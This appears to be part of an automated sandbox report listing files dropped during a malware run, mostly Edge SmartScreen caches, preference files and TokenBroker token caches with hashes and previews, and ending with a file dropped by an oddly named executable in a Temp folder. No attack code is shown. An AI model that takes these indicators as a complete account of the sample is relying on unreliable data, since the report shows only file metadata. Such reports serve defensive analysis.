Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.032254538538759
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUndrf:YWLSGTt1o9LuLgfGBPAzkVj/T8lUnd7
MD5:	8F7A1608E1D9480DBF20EF8F34F44F91
SHA1:	C25D5B38CD3C34DBFC74797EFEA41F1CD6661FC6
SHA-256:	0EBC05B3F8DEEF9D59F711BAB12C8F7101D6BC0CAAF65F34E27115946E14F91D
SHA-512:	010D6015173F01B955A87A221A5A01B9E7019300591BA0AF99342BC3C86708BE20AE322E2F313212BF00F0292951127927DE7B402A9955187B4C22E726F982AA
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731606087438489}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a82f6623-1b3e-42ff-a1c6-032a5f12dab2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57651
Entropy (8bit):	6.103417146752261
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynBPGWv/sxtwTj7VLyMV/YoskFoz:z/0+zI7yn5v/4KTVeZoskG
MD5:	5E18A10AF1BB4F2D5206C0F7A0418B1A
SHA1:	0604D7B6FCB0D723FAC24C591A4E0728F441135B
SHA-256:	16B7EDDD9DA79DCDB7D76F94C4F9BA973D3639CA6D1E7A6786CFF53A44BE8F06
SHA-512:	6F3E2539EC6AC00EF15DF60A00E176B8B9AB9D31EF2306801C5737246C86A15ADB77787F731B3C5E90026E1702863C0B2FF882786A7D60C34040150CCADDDD02
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b59751e9-0b09-4cba-a030-d00f3cebba13.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58860
Entropy (8bit):	6.100654014973432
Encrypted:	false
SSDEEP:	1536:fMk1rT8HRaMPGWv/sxtwgmTTtFo27VLyMV/Yosa:fMYrT8xTv/4Kg+vVeZosa
MD5:	FB674CC2BAB1D286B9FDED31075FB181
SHA1:	15DB932213A555A1962237A8B63962E7674050FE
SHA-256:	BD7BB0BFF972D1250B41244091EDC7B998BFB7F33F5E4E8A7FABBF736390EB20
SHA-512:	0BDEEE4E138ADD801DD421F3B51AEE36B35C2E3091CC64AA4ABA5C91E9D39F7FDBAC3E707BE8ACC2531C5C76510AEC8722D71795F19D5587AA4275DAB493F9B3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"4ff4676d-8f65-4288-95e2-7cc86c3edf8e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\da684e78-0bfc-4c3b-a21b-b0591fd9434e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	58937
Entropy (8bit):	6.100771633623284
Encrypted:	false
SSDEEP:	1536:fMk1rT8Hkn8PGWv/sxtwgmTTtFo27VLyMV/Yosa:fMYrT8E4v/4Kg+vVeZosa
MD5:	A6CEBBA4C2B87E9156BD100E3D51AB4C
SHA1:	F725F05880A2C48D963BD8220EBB750927F9B92A
SHA-256:	1CF87B819DBE2C29DA9490C39A95B01C2FB7E7F0573541AA7DF24C14B6ABD085
SHA-512:	7CB25849BA0DEFAEA9D7E0CAE2CE92211A3989C516A60EFC8A9EAC9EFBD6579DE94257B10BAC93D864FA3F2F6577FACD3A2FD04DAE59894677F02CBD73C0E185
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"4ff4676d-8f65-4288-95e2-7cc86c3edf8e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\dfaf087e-1561-4a3d-bbfb-fd4d443215d8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103083416218688
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynkPGWv/sxtws7VLyMV/YoskFoz:z/0+zI7ynwv/4KWVeZoskG
MD5:	BD060877907CF3ABC6E7DF72E1CDE648
SHA1:	5EE1F589C39D4C302AED84133AE815E85B622800
SHA-256:	C0B290FCAA9D847F968D13B3319B098C3AA254588029E80F45BD5DF315CED412
SHA-512:	BD6134B42C126D4E47948673B305405634FEED1CCC97739D01415438DCC28614F1B0FC95E69B6507045DD7C850422E7A7810C556242F600E44B0F1DFBA83A908
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8617250179616507
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxjxl9Il8u1Q0lx+wU06K6wN8klFjU/Md1rc:mSY8075UHv4lFjU/r
MD5:	8F08B49A3FA8203876D885BE07A9515A
SHA1:	BC417AB4FEF10A3D0D9F2793DF2CE1A7DB33424B
SHA-256:	3E9F27502BD8ED901493F433B85327BF34529744A9C12C369B64FFBC01E83B9C
SHA-512:	E1B89B35AD7360967F7555CEFAA8C63783CF8D8F68F873377AD5F45361A69255E9A5DA2DEA8252ED22E7BBD84013CBA842C7311307AF0FD95193DBE619F2A670
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.E.q.n.s.O.g.1.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.B.m.M.v.H.X.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.994770218222377
Encrypted:	false
SSDEEP:	96:qY4j0FodCzlkjbbJUywXVypYYCUzBz/IbBKXXKMH3HyP5H:qOFoszlm/2jhY1z1/cBKXXxXo
MD5:	68282DDB2BB765729E439EC72E9C5265
SHA1:	3307570B4D0D1FA5C726E66EB88F0B5FAF0E03E7
SHA-256:	7CF8350F801161B7D186936653D7C19E2EC505E4C7C6A918037A89F99F268B97
SHA-512:	04ADF2AAA59320FFC3CD3A47CD34F43FF01A8838E34D3A8FF6EFAACD75D8459AA8883D1E5DA952C48C49DEC9FC53D44EF8C342DCE48A882BA038D604410F0DF8
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".y.8.w.y.l.u.A.1.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.B.m.M.v.H.X.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.917077657964149
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xBGxl9Il8uIbVBF/3R3KnnHXpOsOtMpuELBO8QyGq+Ebdd/vc:a2YebVT/3S3pOsiMpjurEA
MD5:	30900ED3AE2E8D4EB307DD0E331B4527
SHA1:	9ED5968FB0CF8343555D99C1C14485348432E63A
SHA-256:	AC2DC320174465C8612CAEA42B179653D7626A19EF77C0563836947E30FD5560
SHA-512:	0918B6BD806110EAAFC62AEC63D9247F2D2A0B978F863ED0DE35ED601B04AEA7DA5B20DDC50685D47A94BA9ACF7BB834A69DDC5348EF80A02AD21EF2B78B1164
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".E.v./.5.N.a.N.U.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.B.m.M.v.H.X.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\line[1].txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	150
Entropy (8bit):	5.175384103187508
Encrypted:	false
SSDEEP:	3:BztLQhNEjGB20cgctVMS/58IfGE96zEBXEUb2Y2x80catMWAqpmMljQR4v:BZLQhNEjGB2DnMC8i96oBXExVAeMWHx9
MD5:	7A85E47976D1D4C89C9347E443BB9E7D
SHA1:	91589416C0203CDEBC87A8D326F4A0D55F81DAC0
SHA-256:	19C36939A25508576AF2988993EA549010760B428ECC0957D28B632B749A64BC
SHA-512:	83026BAA402A282ECC0F1A802E95C672D147BAFEBF80F10E464054E8AC3A361F8B587CE7E6F63307143106FEE0A9CC193AA0C53D9573237B34D7AB1320D766FD
Malicious:	false
